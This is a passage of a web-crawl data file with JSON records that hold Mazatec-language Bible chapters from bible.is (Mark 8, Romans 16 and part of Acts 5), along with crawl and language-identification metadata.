12","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Rev\/12","date":"2013-12-11T21:37:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164048127\/warc\/CC-MAIN-20131204133408-00098-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000090599,"language_script":"Latn","minhash_cluster_size":29,"top_langs":"{\"maa_Latn_score\": 1.0000090599060059}","num_words":636,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.346,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jñà ni̱chjin kiòo̱, kjín jchán xi̱ta̱ kjóxkóya ko̱ tsìn tsajmì ra kjine; Jesús kiìchja̱á‑la̱ jñà xi̱ta̱ ra kotá'yá'ta‑la̱, kitsò‑la̱: 2―Mahi̱ma̱á‑na jñà xi̱ta̱ kìi̱. Ijyeé kjo jàn ni̱chjin tjín‑nì nga títsa̱jnako̱‑ná, ko̱ nì mé tjín‑la̱ tsajmì ra ma kjine. 3Tsa tà ko̱'sín si̱kasén chjan‑ná ya̱ ni'ya‑la̱, ya̱á ko̱hindàyá ndi̱yá, nga̱ tjín i'ka ra kjin inchrabà‑ni. 4'Kia̱á kitsò xi̱ta̱ ra kotá'yá'ta‑la̱ Jesús: ―¿Kó'sín ko̱ma si̱kjén xi̱ta̱ kìi̱ ya̱ jngo i̱'nde ñánda̱ ni̱mé tjín? 5Jesús iskonangií‑la̱, nga kitsò‑la̱: ―¿Kótjín ma‑nì ni̱ño̱ nchra̱jín ra tjíhijyo‑no? Kitsó jñà xi̱ta̱‑la̱: ―Itoó ma‑ni. 6'Kia̱á kitsjà kjo̱hixi̱ nga katitsa̱jna jñà xi̱ta̱. Iskábé ni̱ño̱ nchra̱jín ra ito ma‑nioo̱; kitsjà‑la̱ kjo̱nda Nainá. A̱kjòn isìjòya; kitsjà‑la̱ jñà xi̱ta̱ ra kotá'yá'ta‑la̱ mé‑ni nga isìka'bí‑la̱ xi̱ta̱ ra kjìn ma‑nioo̱. 7Ti̱'koa̱á tjíhijyoó chiba‑la̱ ndí ti̱ i̱tsíñá. Jesús isìchikon'tin‑ní; a̱kjòn kitsò‑la̱ xi̱ta̱‑la̱: ―Ti̱ka'bí te‑la̱ jñà xi̱ta̱. 8Kóhotjín xi̱ta̱, ndaá tsakjèn ijye skanda kjoski; a̱kjòn tsikíxkó‑ni xi̱‑la̱ ra tsijnengi‑ni; ngi ito ndi̱si̱yá kjomà. 9Jñà xi̱ta̱ ra tsakjèn, maá‑la̱ tsa ijòn jmi. A̱kjòn jè Jesús kitsò‑la̱ jñà xi̱ta̱ kìi̱: ―Ijyeé ma kongí‑no. 10Ra ijye kjomà, 'jaha'sen chitso Jesús ko̱ xi̱ta̱ ra kotá'yá'ta‑la̱. A̱kjòn kijì ya̱ i̱'nde ñánda̱ 'mì Dalmanuta. 11Ya̱á ijchòtji̱ngi‑la̱ jñà xi̱ta̱ fariseo; tsikí'tsia̱ nga tsakátikjo‑ko̱ Jesús. Isíjé jngo‑la̱ kjo̱xkón ra ngajmi nchrabá‑ni nga mejèn‑la̱ sko̱ó'ta, [a kixi̱í kjoa̱ nga jè Jesús a̱'ta 'tse̱ Nainá nchrabá‑ni]. 12Jesús 'ñó jaátse‑la̱, kitsò: ―Jñà xi̱ta̱ kìi̱, ¿mé‑ni kjo̱xkón síjé‑ni? Ra ngi kjo̱hixi̱, 'koa̱á xin‑no, ni̱jngo kjo̱xkón ske̱. 13Ya̱á kitsjin xi̱ta̱ kìi̱; 'jaha'sen india‑nì chitso; ya̱á kijì ya̱ ra ijngoa ndáchikon ján. 14Jñà xi̱ta̱‑la̱ Jesús, ki'chaàjiín‑la̱, mì kì ni̱ño̱ ki'tsa 'kia̱ nga kijì. Ko̱ tà jngoó ma‑nì ni̱ño̱ nchra̱jín ra 'ya ya̱ a̱ya chitso. 15Jesús kitsó‑la̱: ―Chítsijen‑la ko̱ ti̱kinda̱a ijo‑no a̱'ta 'tse̱ na̱'yo̱ san 'tse̱ xi̱ta̱ fariseo ko̱ 'tse̱ Herodes. 16Jñà xi̱ta̱‑la̱ Jesús tsakáko̱ò xákjén nga tsajo̱óya‑nì kitsò‑la̱: ―Kií‑la ko̱tsò‑ná nga mì kì ni̱ño̱ nchra̱jín ki'ché. 17Jesús kjòchi̱yaá‑la̱ koni 'sín i̱nchijo̱ó, 'kia̱á kitsò‑la̱: ―¿Mé‑ni ko̱bixó‑no nga tsìn‑no ni̱ño̱ nchra̱jín? ¿A kjeé fìya‑no ko̱ a mí machi̱ya‑no? ¿A takó 'ñó tájajín tjín inìma̱‑no? 18Sisiín tjín‑ni xkòn jiòn, ¿mé‑ni mì kì tsijen‑no? Ti̱'koa̱ tjín chíká‑no, ¿mé‑ni mì kì na'yá‑no ko̱ mì kì bítsjen‑no? 19'Kia̱ nga ísiká'bía̱ ni̱ño̱ nchra̱jín ra 'òn ma‑nioo̱ nga ísikjée̱n xi̱ta̱ ra 'òn jmi ma‑ni, ¿kótjín ndi̱si̱yá tsikíxkó-isa‑najiòn ra tsijnengi‑ni? Kitsó jñà xi̱ta̱: ―Tejò ndi̱si̱yá kjóxkó‑naji̱n ra tsijnengi‑ni. 20―Ko̱ 'kia̱ nga ísiká'bía̱ jñà ni̱ño̱ nchra̱jín ra ito ma‑nioo̱, ko̱ ijòn jmi xi̱ta̱ tsakjèn, ¿kótjín ndi̱si̱yá tsijnengi‑ni ra tsikíxkó‑najiòn? Kitsó jñà xi̱ta̱: ―Ito ndi̱si̱yá kjomà‑isa. 21'Kia̱á kitsò‑la̱: ―¿A takó kjeé machi̱ya‑no? 22'Kia̱á kijì Jesús, ijchó ján na̱xi̱ndá Betsaida. Jñá xi̱ta̱, ya̱á ijchòko̱ jngo‑la̱ xi̱ta̱ ra xka̱. Tsikítsa'ba‑la̱ nga kátá'ta‑la̱ tsja. 23'Kia̱á jè Jesús itsabá'ñó tsja xi̱ta̱ ra xka̱. A̱kjòn kjin'tá iko̱; tsikíchrángi xko̱n, a̱kjòn tsakásòn‑la̱ tsja. 'Kia̱á iskonangi‑la̱ a tsijeén chiba‑la̱. 24Jè xi̱ta̱ xka̱, iskotsíjen‑ní, kitsò: ―Ijyeé tsijen chiba‑na, tanga ta koni kjòn yá kjòn ma‑na jñà xi̱ta̱ nga tjíma. 25Jesús, ìjngo 'ká tsaká'ta-isa‑la̱ tsja jñà xko̱n. 'Kia̱ nga iskí'xa̱ngi xko̱n, kjondaá‑ni, ndaá tsatsíjen ijye‑la̱. 26Jesús, a̱kjòn isìkasén‑ni ni'ya‑la̱, kitsò‑la̱: ―Kì ya̱ bitjàha̱'se̱n‑jin ya̱ a̱jin na̱xi̱ndá. 27Jesús ko̱ xi̱ta̱ ra kotá'yá'ta‑la̱, 'kia̱ nga kijì‑ni, 'koa̱á 'sín tsato ya̱ na̱xi̱ndá jtobá ra chja̱‑ni Cesarea 'tse̱ Filipo. 'Kia̱ nga tjímaya ndi̱yá, Jesús iskonangií‑la̱ xi̱ta̱ ra kotá'yá'ta‑la̱, kitsò‑la̱: ―¿Kó tsò xi̱ta̱? ¿Yá‑na ra 'a̱n? 28Kitsó jñà xi̱ta̱‑la̱: ―Tjín ra tsò: \"Jé‑la Juan ra tsatíndá xi̱ta̱.\" Ko̱ tjín i'ka ra tsò: \"Jé‑la Elías.\" Ti̱'koa̱á tjín ra tsò: \"Jé‑la jngo xi̱ta̱ ra kiìchja̱ ngajo‑la̱ Nainá kjotseé.\" 29Jesús 'kia̱á iskonangi‑la̱ jñà xi̱ta̱‑la̱; kitsò‑la̱: ―¿Tanga ra jiòn, kó'sín bixó? ¿Yá‑na ra 'a̱n? Kiìchja̱ Pedro, kitsò: ―Ji̱‑ní ra Cristo ra Nainá isìkasén. 30Tanga jè Jesús kitsjá‑la̱ kjo̱kixi̱ nga kitsò‑la̱: ―Kì yá ra 'bèna̱jmí‑la ra a̱'ta tsa̱'a̱n. 31Tsikí'tsia̱ Jesús nga tsi'kéna̱jmíya‑la̱ xi̱ta̱ ra kotá'yá'ta‑la̱, kitsò‑la̱: ―'A̱n ra I'ndí‑la̱ Xi̱ta̱ xin‑la̱ ijo‑na̱, tseé kjo̱hi'in sikjiáa̱n, ko̱chrjengií‑na jñà xi̱ta̱ jchínga, ko̱ jñà xi̱ta̱ ítjòn‑la̱ na̱'mì, ko̱ xi̱ta̱ ra bakón‑ya kjo̱téxoma‑la̱ Nainá ra tsikínda Moisés. Si̱ì'keén‑na tanga 'kia̱ nga ijye ki̱jchò jàn ni̱chjin kjoa̱áya india‑na. 32Jesús, 'koa̱á kitsò kixi̱‑la̱ kjoa̱ ra ko̱ka̱ma'tin. 'Kia̱á jé Pedro kiìchja̱'taxìn‑la̱ Jesús nga kitsò‑la̱: ―Mì kì nda tjín koni 'sín nga kasi. 33A̱kjòn Jesús, isíkáfa'tá‑la̱, iskotsíjen‑la̱ xi̱ta̱ ra kotá'yá'ta‑la̱, tsakátiko̱ Pedro. Kitsò‑la̱: ―Ti̱si̱'taxín‑ná ji̱ xi̱ta̱‑ni̱í. Nga̱ mì tsa jè kjo̱bítsjen‑la̱ Nainá níkítsjin; ta kjo̱bítsjen 'tse̱ xi̱ta̱á tjiníkítsjìn. 34Jesús kiìchja̱‑la̱ xi̱ta̱ ra kotá'yá'ta‑la̱ ko̱ xi̱ta̱ ra tji̱ngi‑la̱. Kitsò‑la̱: ―Tsa yá ra mejèn‑la̱ ya̱ ki̱ji̱'ta‑na, kì ti̱ tsja jè kjo̱binachon‑la̱ 'sín‑ni kinda̱. Katachíkjoa̱‑la̱ kjo̱hi'in ra ko̱tojin koni tsa 'bamijìn jngo krò ra ti̱jè ki̱yá'ta‑ni, ko̱ katanchrabá'ta‑na. 35Nga̱ ta yá xi̱ta̱‑ni ra mejèn‑la̱ nga mì mé kjo̱hi'in ko̱tojin jè kjo̱binachon‑la̱, ta isa̱á si̱ìjchija jnchro; tanga jè ra tsjá kjo̱binachon‑la̱ nga katachija ra ta nga̱tjì tsa̱'a̱n, ko̱ ra ta nga̱tjì 'tse̱ 'én xi̱tse̱‑la̱ Nainá ra nda tsò, ta isa̱á jnchro ki̱tjokajin kjo̱hi'in nga nda kíjna‑ni a̱skan‑nioo̱. 36¿Mé ra ki̱jne‑la̱ jngo xi̱ta̱, ni̱'sín 'se̱ ijye‑la̱ nga'tsì tsajmì ra tjín i̱ i̱sà'nde, tsa si̱ìjchijaá‑nì inìma̱‑la̱? 37Ni̱ ta mé ra ma ki̱ìchjítjì‑ni xi̱ta̱ nga ma kíjnakon inìma̱‑la̱. 38Jè ra ko̱sabà‑la̱ a̱'ta tsa̱'a̱n ko̱ a̱'ta 'tse̱ 'én‑na̱ ya̱ ngixko̱n jñà xi̱ta̱ jé ra mì tsa kjoa̱kixi̱ 'sín, ti̱'koa̱á ko̱sabá‑na ra a̱'ta 'tse̱, 'a̱n ra I'ndí‑la̱ Xi̱ta̱ xin‑la̱ ijo‑na̱, 'kia̱ nga kjí'i̱ india‑na nga kjíhi̱ko̱ kjoa̱jeya‑la̱ Na̱'ìn‑na̱ ko̱ jñà ìkja̱li̱ tsje‑la̱ Nainá.\nSan Marcos 8","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Mark\/8","date":"2013-12-11T21:39:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164048127\/warc\/CC-MAIN-20131204133408-00099-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000076294,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"maa_Latn_score\": 1.0000076293945312}","num_words":838,"character_repetition_ratio":0.086,"word_repetition_ratio":0.0,"special_characters_ratio":0.239,"stopwords_ratio":0.308,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Koa̱á 'sín tísikásén‑no jè tichjeé Febe ra tjín‑la̱ xá ya̱ na̱xi̱ndá‑la̱ Cristo ra tíjna ya̱ na̱xi̱ndá Cencrea. 2Nda chjíbétjò tichjeé ra̱kìi̱ koni jngo xàngie̱é ra ti̱'koa̱ makjiín‑la̱ a̱'ta 'tse̱ Cristo nga 'koa̱á 'sín bakèn‑la̱ ra xi̱ta̱‑la̱ Cristo ma; ko̱ ti̱si̱ko̱o ni̱'sín ta mé ra ko̱chjeén‑la̱ nga̱ jè xàngie̱é ra̱kìi̱, 'ñó kjo kjìn xi̱ta̱ basìko̱, skanda 'a̱n ti̱'koa̱á tsasìko̱ó‑te‑na. 3Ti̱hixo'tá‑ná jè Priscila ko̱ Aquila jñà xi̱ta̱ ra ta̱ña iníxákjo‑ji̱n a̱'ta 'tse̱ Cristo Jesús. 4Jñà xi̱ta̱ kìi̱, kja̱meé kisì'ken‑tjì ngajo‑na ijo‑la̱; ko̱ mì tsa ta 'a̱n‑jiàa̱n ra ko̱xin‑la̱ nga Nainá ra ki̱íchjí‑la̱, ti̱'koa̱á ti̱ tsò‑ni nga'tsì xi̱ta̱ na̱xi̱ndá‑la̱ Cristo, jñà ra mì tsa xi̱ta̱ judío. 5Ti̱'koa̱á ti̱hixo'tá‑ná jñà xi̱ta̱ na̱xi̱ndá‑la̱ Cristo ra ya̱ maxkóya ya̱ ni'ya‑la̱ Priscila ko̱ Aquila. Ti̱hixo'tá‑ná Epeneto ra 'ñó matsjake̱ nga̱ jè kjokjiín ítjòn‑la̱ a̱'ta 'tse̱ Cristo ya̱ nangi Acaya. 6Ti̱hixo'tá‑ná jè María, jè chjo̱ón ra 'ñó nda isíxá ra a̱'ta tsa̱jiòn. 7Ti̱hixo'tá‑ná jè Andrónico, ko̱ jè Junias ra xi̱ta̱ xàngia̱ ma, ra ta̱ña tsikitsa̱jna‑ji̱n ya̱ nda̱yá; jñà xi̱ta̱ kìi̱, 'ñó nda 'yaxkón‑la̱ ya̱ a̱jin‑la̱ xi̱ta̱ ra tsikíxáya‑la̱ Cristo, ko̱ isa̱á ítjòn kijtsexkon jè 'én‑la̱ Cristo koni 'a̱n. 8Ti̱hixo'tá‑ná jè Amplias, jè xi̱ta̱ ra 'ñó matsjake̱ a̱'ta 'tse̱ Na̱'ín‑ná. 9Ti̱hixo'tá‑ná jè Urbano, jè ra ta̱ña níxá‑ji̱n a̱'ta 'tse̱ Cristo Jesús, ko̱ jè Estaquis ra ti̱'koa̱ 'ñó matsjake̱. 10Ti̱hixo'tá‑ná jè Apeles, jè ra ijye ko̱kitsò Cristo nga xi̱ta̱ kixi̱‑ní; ti̱'koa̱ Ti̱hixo'tá‑ná jñà xi̱ta̱ ra ya̱ títsa̱jna ni'ya‑la̱ Aristóbulo. 11Ti̱hixo'tá‑ná jè Herodión ra xi̱ta̱ xàngia̱ ma; ti̱'koa̱ Ti̱hixo'tá‑ná jñà xi̱ta̱ ra tjíhijyo ya̱ ni'ya‑la̱ Narciso ra nda kji'ta ikon Na̱'ín‑ná. 12Ti̱hixo'tá‑ná jè Trifena, ko̱ jè Trifosa, jñà íchjín ra 'ñó nda síxá‑la̱ Na̱'ín‑ná, ko̱ jè tichjeé Pérsida ra 'ñó tsjacheé ra ti̱'koa̱ 'ñó nda síxá‑la̱ Na̱'ín‑ná. 13Ti̱hixo'tá‑ná jè Rufo ra xá jahíjin‑ni Nainá, ko̱ ti̱hixo'ta‑te‑ná jè na̱‑la̱ ra koni tsa na̱‑na̱ ma. 14Ti̱hixo'ta‑te‑ná jè Asíncrito, ko̱ jè Flegonte, ko̱ jè Hermas, ko̱ jè Patrobas, ko̱ jè Hermes, ko̱ ti̱hixo'ta‑te‑ná jñà xi̱ta̱ 'ndsé ra ya̱ títsa̱jnako̱. 15Ti̱hixo'ta‑te‑ná jè Filólogo ko̱ jè Julia, jè Nereo, ko̱ jè ndichja, ko̱ jè Olimpas, ko̱ nga'tsì xi̱ta̱ ra makjiín‑la̱ ra a̱'ta 'tse̱ Cristo ra ya̱ títsa̱jnako̱. 16Ngi ko̱ó inìma̱‑no ti̱kjáya‑la xàngio̱o nga jngó jngó‑no. Nga'tsì xi̱ta̱ na̱xi̱ndá‑la̱ Cristo ra i̱ títsa̱jna síhixo'ta‑no. 17Ndí 'ndsè, 'koa̱á 'sín tíbitsá'ba‑no nga chítsijen‑la jñà xi̱ta̱ ra síjòya ko̱ ra síkitsón‑jin koni 'sín makjiín‑no ra kondra̱ fì‑la̱ jè kjo̱bítsjen ra ichitá'yá jiòn. Ti̱ncha'tàxìn‑la jñà xi̱ta̱ kìi̱. 18Jñà xi̱ta̱ kìi̱, mì tsa Na̱'ín‑ná Jesucristo síxá'ta‑la̱, ta ijo‑la̱á síxátjì nga 'én sin 'én nda chja̱ nga konda̱cha̱‑la̱ inìma̱‑la̱ jñà xi̱ta̱ ra mì kì nda machi̱ya‑la̱. 19'A̱n matsjaá‑na ra a̱'ta tsa̱jiòn, nga̱ ijyeé nda na'yá‑la̱ nga maá‑no nda nihitjasòn; tanga 'a̱n mejèn‑na nga xi̱ta̱ chji̱ne̱e katama jiòn ra a̱'ta 'tse̱ kjoa̱ ra nda tjín. Ko̱ jngo kjá ni̱mé ra kjoa̱'cho katama‑no. 20Machrañaá ni̱chjin nga jè Nainá ra tsjá‑ná kjoa̱'nchán, ngi ski̱íxoba jè xi̱ta̱‑ni̱í nga tsjá‑no nga'ñó nga ma si̱kijne‑la. Jè kjo̱nda‑la̱ Na̱'ín‑ná Jesucristo katijnako̱‑no. 21Tísíhixo'tá‑no jè Timoteo jè ra ta̱ña níxákjo‑ji̱n; ti̱'koa̱ síhixo'ta‑no jè Lucio, ko̱ jè Jasón, ko̱ jè Sosípater jñà ra xi̱ta̱ xàngia̱a ma. 22'A̱n ra Tercio 'mì‑na ra tíbindáa̱ jè xa̱jo̱n ra̱kìi̱ tísixó'tà‑no ra a̱'ta 'tse̱ Na̱'ín‑ná. 23Ti̱'koa̱ tísíhixo'tá‑no jè Gayo; 'a̱n i̱í tíjna̱‑naa̱ ya̱ ni'ya‑la̱ ñánda̱ nga maxkóya nga'tsì xi̱ta̱ na̱xi̱ndá‑la̱ Cristo. Ti̱'koa̱ tísíhixo'tá‑no jè Erasto ra bítjò to̱n 'tse̱ ni'ya masen 'tse̱ na̱xi̱ndá; ti̱'koa̱ tísíhixo'tá‑no jè 'ndsé ra 'mì Cuarto. 24Kjo̱nda‑la̱ Na̱'ín‑ná Jesucristo katijnako̱‑no nga'tsì‑no. 25Jeya katijna jè Nainá ra tíjnako̱‑no ra tsjá‑no nga'ñó nga ma‑la̱ kixi̱ si̱ìkítsa̱jna‑no, koni 'sín tsò 'én xi̱tse̱ ra nda tsò ra 'a̱n bakon‑yáa̱ ra ijye ki'sena̱jmíya‑no a̱'ta 'tse̱ Na̱'ín‑ná Jesucristo. Ijyeé tí'ya‑la̱ jè kjoa̱'ma‑la̱ Nainá ra isijna'ma skanda ni̱chjin kjotseé, 26tanga 'ndi̱ 'ndi̱, ijyeé kijcha‑la̱ koni 'sín tíchja̱ jè xa̱jo̱n tsje ra tsikínda jñà xi̱ta̱ ra kiìchja̱ ngajo‑la̱ Nainá kjotseé, nga 'koa̱á 'sín kitsjà kjo̱hixi̱ jè Nainá ra tíjna nda skanda ta mé ni̱chjin‑nioo̱. Jè kjoa̱ ra tsikí'ma Nainá tsiki, ijyeé ko̱'sín ki'sena̱jmí ijye‑la̱ xi̱ta̱ nga tjíjtsa i̱sà'nde mé‑ni nga katasíhitjasòn‑ni koni 'sín makjiín‑la̱. 27¡Tà jè ta̱jngoó‑ni Nainá ko̱ tà jé‑ní ra 'ñó chji̱ne̱, tà jé kata'se‑la̱ kjoa̱jeya a̱'ta 'tse̱ Jesucristo skanda ta mé ni̱chjin‑nioo̱! Ko̱'sín katama.\nRomanos 16","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Rom\/16","date":"2013-12-06T19:13:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163052382\/warc\/CC-MAIN-20131204131732-00093-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.000005722,"language_script":"Latn","minhash_cluster_size":19,"top_langs":"{\"maa_Latn_score\": 1.0000057220458984}","num_words":666,"character_repetition_ratio":0.089,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.35,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ta̱nga ìjngoò xi̱ta̱ x'i̱n xi 'mì Ananías ko̱ chjo̱ón‑la̱ Safira, ti̱koa̱ tsatíjna jngoò 'nde nangui‑la̱. 2Xi̱ta̱ jè tsajoóya‑ne ko̱ chjo̱ón‑la̱, tsibí'ma chiba to̱n chjí‑la̱ nangui. Tà chiba j'iìko̱ nga kisìnga̱tsja jñà xi̱ta̱ xi tsibíxáya‑la̱ Jesús. 3Jè Pedro kitsò: ―Ji̱ Ananías, ¿mé‑ne kòbiì'nde‑ne nga xi̱ta̱ nei̱í kòfahas'en‑jiìn ini̱ma̱‑lè nga mejèn‑lè kachona̱cha̱n‑la̱ Ini̱ma̱ Tsjeè‑la̱ Nainá nga kòbì'ma chiba to̱n chjí‑la̱ nangui? 4¿A mìtsà tsi̱ji nangui? K'e̱ nga jye kòhotijni, ¿a mìtsà tsi̱ji to̱n? ¿Mé‑ne k'oa̱s'ín kànìkítsjeèn‑ne i̱jiìn ini̱ma̱‑lè? Mìtsà ta̱xki̱ xi̱ta̱ mejèn‑lè kachona̱cha̱n‑la̱, jè sobà Nainá. 5Jè Ananías, k'e̱ nga kiì'nchré 'én koi, kiskaàjndoòt'aà nangui, k'en. Ngats'iì xi̱ta̱ xi kis'ejiìn‑la̱ kjoa̱ xi komà, ndaà jchán kitsakjòn. 6K'e̱é j'iì i'nga i̱xti x'i̱n xi kisìkájté nikje yijo‑la̱ Ananías; tsachrje ni'ya, nga kiì kíhijiìn. 7Tjín‑la̱ tsà jàn hora nga j'iì Safira chjo̱ón‑la̱ Ananías; mìkiì tíjiìn‑la̱ mé kjoa̱ xi komà. 8Pedro kiskònangui‑la̱ kitsò‑la̱: ―¿A k'oa̱á tjín kòhotijna‑nò nangui‑nò koni tjín bixón? Jè chjo̱ón kitsò: ―Jon, k'oa̱á tjín kòhotijna‑na̱je̱n. 9Jè Pedro kitsò‑la̱: ―¿Mé‑ne k'oa̱s'ín kàchibàya‑nò? ¿A k'oa̱á s'ín kànìkítsjeèn nga ma chóna̱cha̱n‑là jè Ini̱ma̱ Tsjeè‑la̱ Nainá? Chítsején‑la̱ jñà i̱xti xi nchajto xotjoa̱ ni'ya. Jñà kòfì kíhijiìn x'i̱n‑lè; ti̱koa̱á ngaji̱, jñà kji̱ko̱‑lè. 10Chjo̱ón jè, ni̱to̱ón kiskaàjndoòt'aà nangui ya̱ ñánda síjna Pedro; k'en. K'e̱ nga jahas'en ni'ya jñà i̱xti x'i̱n, kijtseè nga jye k'en; tsachrje ni'ya; kiì kíhijiìn‑t'aà‑la̱ x'i̱n‑la̱. 11Ngats'iì xi̱ta̱ na̱xa̱ndá‑la̱ Cristo ko̱ ngats'iì xi̱ta̱ xi kiì'nchré kjoa̱ koi, ndaà jchán kitsakjòn. 12Jñà xi̱ta̱ xi tsibíxáya‑la̱ Jesús, kjìn kjo̱xkón xi okó kjoa̱jeya‑la̱ Nainá kis'iìn nga nguixko̱n xi̱ta̱ na̱xa̱ndá. Ngats'iì xi̱ta̱‑la̱ Cristo, ya̱á bixoña kjit'aà ya̱ i̱ngo̱ ítjòn ya̱ nguitjoa̱‑la̱ xi 'mì Salomón. 13Jñà xi̱ta̱ xi mìkiì mokjeiín‑la̱ i̱t'aà ts'e̱ Cristo, ni̱jngoò kjò'ñóhikon nga ya̱ kiìt'aà‑la̱ jñà xi̱ta̱‑la̱ Cristo. Ta̱nga jñà xi̱ta̱ na̱xa̱ndá, 'ñó ndaà kijtseèxkón jñà xi̱ta̱‑la̱ Cristo. 14Ta̱nga jñà xi̱ta̱ xi kòkjeiín‑la̱ i̱t'aà ts'e̱ Cristo, íchjín íchjá, ìsa̱á 'ñó kòkjìn‑ya‑ìsa̱. 15Jñà xi̱ta̱ tsachrje xi̱ta̱ xi xk'én ya̱ i̱ya ndi̱yá; kisìkáyijòsòn na̱chan ko̱ nijñaà mé‑ne k'e̱ nga kjoa̱ Pedro, na̱s'ín tà jè 'nguién‑la̱ ska̱t'aà i'nga‑la̱ jñà xi̱ta̱ xk'én. 16Ti̱koa̱ kjìn xi̱ta̱ j'iì ya̱ Jerusalén xi inchrobà‑ne na̱xa̱ndá xi kjiyijòt'aà chrañà‑la̱; j'iìko̱ xi̱ta̱ xi xk'én ko̱ jñà xi ini̱ma̱ ch'o‑la̱ nei̱í nchibeètoòn; ngats'iì xi̱ta̱ koi kjòndaà yijeé‑ne. 17Jè no̱'miì ítjòn ko̱ ngats'iì xi̱ta̱ xi ya̱ báhijtako̱, jñà xi ya̱ chja̱‑ne i̱t'aà ts'e̱ xi̱ta̱ saduceo, kjòchi̱ni̱keé jñà xi̱ta̱ xi tsibíxáya‑la̱ Jesús. 18Kitsobà'ñó; kiìko̱; kiskinìs'en nda̱yá xi ts'e̱ na̱xa̱ndá. 19Ta̱nga k'e̱ nga jye kòjñò, jngoò àkja̱le̱‑la̱ Nainá ijchò kíx'a̱‑la̱ xotjoa̱ nda̱yá. Tsachrje xi̱ta̱ koi; kitsò‑la̱: 20―Tanguió, ti̱nchajtoò xotjoa̱ i̱ngo̱ ítjòn. Tèno̱jmí yije‑là xi̱ta̱ na̱xa̱ndá kós'ín kítsa̱jnakon xi̱ta̱ i̱t'aà ts'e̱ Cristo. 21K'e̱ nga kiì'nchré 'én koi, nga komà nchijòn, ta̱jñòyaá kiì ya̱ i̱ngo̱ ítjòn, i̱kjoàn tsibíts'ia̱ nga tsakóya‑la̱ xi̱ta̱. Ti̱k'e̱‑ne chixoña jè no̱'miì ítjòn, ngats'iì xi̱ta̱‑la̱ xi ya̱ títsa̱jnako̱. Kiìchja̱‑la̱ ngats'iì xi̱ta̱xá ko̱ xi̱ta̱ jchínga ts'e̱ na̱xa̱ndá Israel; i̱kjoàn kiskinìkjaá jñà xi̱ta̱‑la̱ Cristo xi títsa̱jna'ya nda̱yá. 22Ta̱nga k'e̱ nga ijchò jñà policía, mìkiì kisakò‑la̱ jñà xi̱ta̱ xi títsa̱jna'ya nda̱yá; tà k'oa̱á s'ín inchrobà‑ne; kitsjaà o̱kixi̱ nga mì ti̱ yá tjín‑ne. 23Kitsò: ―K'e̱ nga kòbijchò‑je̱n, ndaà tíchjoàjto xotjoa̱‑la̱ nda̱yá. Jñà xi̱ta̱ soldado xi síkinda̱, ya̱á nchajto xotjoa̱, ta̱nga k'e̱ nga kòbitjaàs'en‑je̱n mì ti̱ yá xi̱ta̱ tjín‑ne i̱ya nda̱yá. 24K'e̱ nga kiì'nchré 'én koi, jè no̱'miì ítjòn ko̱ no̱'miì xi i'nga ko̱ jè xi̱ta̱ sko̱‑la̱ policía xi síkinda̱ i̱ngo̱ ítjòn, tà k'oa̱á komà‑la̱ nga mìkiì machi̱ya‑la̱ kós'ín ko̱ma nga kjoe̱het'aà kjoa̱ koi. 25Ti̱k'e̱é‑ne j'iì jngoò xi̱ta̱ xi j'iì kéno̱jmí, kitsò: ―Jñà xi̱ta̱ xi kichinìs'en nda̱yá ngojña̱, ya̱á títsa̱jna i̱ngo̱ ítjòn nga nchihokóya‑la̱ xi̱ta̱ na̱xa̱ndá. 26K'e̱é kiì jè xi̱ta̱ sko̱‑la̱ policía xi síkinda̱ i̱ngo̱, kjihijtako̱ jñà policía xi i'nga nga kiìkjaá Pedro ko̱ Juan. Tà kjo̱ndaá inchrobàko̱. Jñà tsakjón‑la̱ xi̱ta̱ na̱xa̱ndá tsà nda̱jo̱ koi̱ì'nè nga si̱ìk'en. 27K'e̱ nga j'iìko̱, chinchá osen ñánda nchijoóya‑ne. Jè no̱'miì ítjòn kitsò‑la̱: 28―¿A mìtsà k'oa̱s'ín ki'mì‑nòje̱n nga jngoò k'a mì ti̱ k'oa̱á tsò‑ne 'én xi ko̱kóya i̱t'aà ts'e̱ Jesús? I̱'ndei̱, kóho̱kji Jerusalén, jyeé titsa̱chinìsòn yije kjo̱tíxoma‑nò; ti̱koa̱á mejèn‑nò ngaje̱n chinì'nè‑náje̱n nga k'en xi̱ta̱ xi 'mì Jesús. 29Jè Pedro ko̱ xi̱ta̱ xi i'nga xi ta̱ña tsibíxáya‑la̱ Cristo kitsò: ―Ìsa̱á 'ñó mochjeén nga jè Nainá si̱kitasòn‑la̱je̱n mì k'oa̱á‑ne koni xi ta̱xki̱ xi̱ta̱. 30Jè xi Nainá tsò‑la̱ xi̱ta̱ jchínga‑ná kisìkjaáya‑la̱ Jesús i̱t'aà ts'e̱ kjoa̱biyaà, ti̱jè‑ne Jesús xi jñò kinìk'eèn nga tsakat'aà krò. 31Nainá, 'ñó jeya kisìkíjnat'aà chrja kixi̱‑la̱. Xi̱ta̱xá ítjòn kisìkíjna. Ti̱koa̱á jè kisìkíjna nga jè ko̱chrjekàjiìn‑ná kjo̱'in. K'oa̱á s'ín kis'iìn Nainá, mé‑ne nga jñá xi na̱xa̱ndá Israel 'mì‑ná si̱kájnoaá jé‑ná; mì ti̱ jé ki̱nchátsji‑ná nga si̱ìjchàat'aà‑ná Nainá jé xi tjín‑ná. 32K'oa̱á s'ín bèno̱jmí‑nòje̱n kjoa̱ koi xi xkoòn ki'ya‑na̱je̱n. 